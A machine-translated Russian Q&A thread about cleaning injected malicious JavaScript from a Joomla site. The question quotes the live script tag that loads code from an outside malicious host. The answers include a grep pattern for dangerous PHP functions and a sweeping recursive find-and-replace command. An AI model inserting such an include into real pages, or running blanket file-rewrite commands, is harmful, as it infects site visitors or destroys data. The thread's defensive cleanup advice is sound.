Joomla удаление вредоносного кода

Question

Вот мой сайт. http://ziggymonster.com/

Сначала у него было 4 зараженных torjan js-файла и какой-то вредоносный код. Я очистил эти файлы. Но сейчас я не могу найти этот javascript include.

<script src="http://boneraffyaho.cz.cc/jquery.minph.js"></script>

Вы можете увидеть, просмотрев источник страницы.

Включено в конце каждого. Он сохраняет страницу при загрузке, и сканер обнаруживает ее как вредоносный код.

То, что я пробовал до сих пор.

1) Изменен шаблон 2) Попробуйте отключить все компоненты. 3) попробуйте отключить все компоненты. 4) пытался отключить все плагины. 5) скачал полный сайт и искал этот код в полном сайте. Но не смог найти.

Но это все еще было там. Можете ли вы дать мне несколько предложений?

Answer 1

Вредоносный код присутствует на странице, даже когда javascript отключен - это говорит нам о том, что он не записывается туда document.write в других файлах js.

Когда мы заходим на сайт сtmpl = component & no_html = 1 настройки, которые подавляют вывод шаблона и отправляют только вывод компонента, код которого все еще присутствует: http://ziggymonster.com/?tmpl=component&no_html=1

Это очень сильно указывало бы на то, что код добавлялся в конце основного индекса JoomlaФайл .php в корне вашего сайта.В качестве альтернативы, файл component.php в собственной папке вашего шаблона или в папке / templates / system / может быть подходящим кандидатом.

Очистка сайта на месте рискованна - но может быть выполнена с правильными знаниями, некоторым опытоми правильные инструменты.Я бы посоветовал найти опытного эксперта по безопасности Joomla, чтобы сделать это, или столкнуться с необходимостью перестройки файлов сайта: установите свежую Joomla в полностью чистую папку (лучше всего использовать локальный сервер), установите все свои расширения, а затем удалите ваши живыеи загрузите файлы в свое веб-пространство, привязав их к исходной базе данных.

Конечно, лучшим вариантом будет возврат к резервной копии, сделанной несколько дней назад - у вас есть резервные копии, да?

Вам следует изучить файлы журналов, чтобы понять, как была совершена атака.Вы также должны изменить все пароли, обновить Joomla и все надстройки - и рассмотреть возможность изменения веб-хостов, если это похоже на другую учетную запись на сервере, предоставившем доступ, позволяющий хакерам войти.

Удачи.

Answer 2

Если вы знакомы с ssh, вы можете использовать эту команду:

find . -type f -iname '*.php' -exec grep -l "mail(\|eval(\|sockopen\|socket_client" {} \;

Который ищет php-файлы (рекурсивно из текущего каталога), которые содержат опасный код. Собственные почтовые функции php представляют интерес для хакеров, но так же как и eval и функции сокета api. Я запускаю эту команду на своем сервере один раз в день, и в прошлом были обнаружены вредоносные сценарии.

Answer 3

самый быстрый способ удалить все виды вредоносного кода - это подключиться через ssh, открыть каталог вашего сайта и выполнить запрос вроде:

find . '*.*' -exec replace 'HERE_IS_BAD_CODE' '' -- {} \;

вы можете также выбрать типы фильтровфайлов для поиска путем изменения . на * .php или * .html

Disclamer: вы должны быть ОЧЕНЬ ОЧЕНЬ осторожны с ssh

Answer 4

Чтобы быть уверенным, вам нужно перестроить свой сайт. Сделайте резервную копию своей базы данных и файлов, затем удалите ВСЕ файлы из docroot и повторно загрузите из свежих копий (Joomla с расширений http://www.joomla.org/, со своих сайтов и т. Д.). Затем вы повторно загрузите свою папку мультимедиа и любой пользовательский код (шаблон и т. Д.).

Если вы не очень технический специалист, вам нужно установить Joomla и расширения, затем удалить базу данных и configuration.php, а затем повторно загрузить старую configuration.php и базу данных. В противном случае вам придется распаковать расширения самостоятельно.

По крайней мере, я бы порекомендовал загрузить новую копию ядра Joomla (вам нужно удалить директорию установки сразу после этого). Это довольно безопасно, так как дистрибутив не перезаписывает ваш файл «configuration.php». Конечно, если вы взломали ядро ​​Joomla (Плохая идея), вам нужно будет повторно применить ваши пользовательские хаки.

Также было бы неплохо проверить ваши меры безопасности - нужно ли менять пароли? Все ли ваши файлы должны быть доступны для записи на веб-сервере?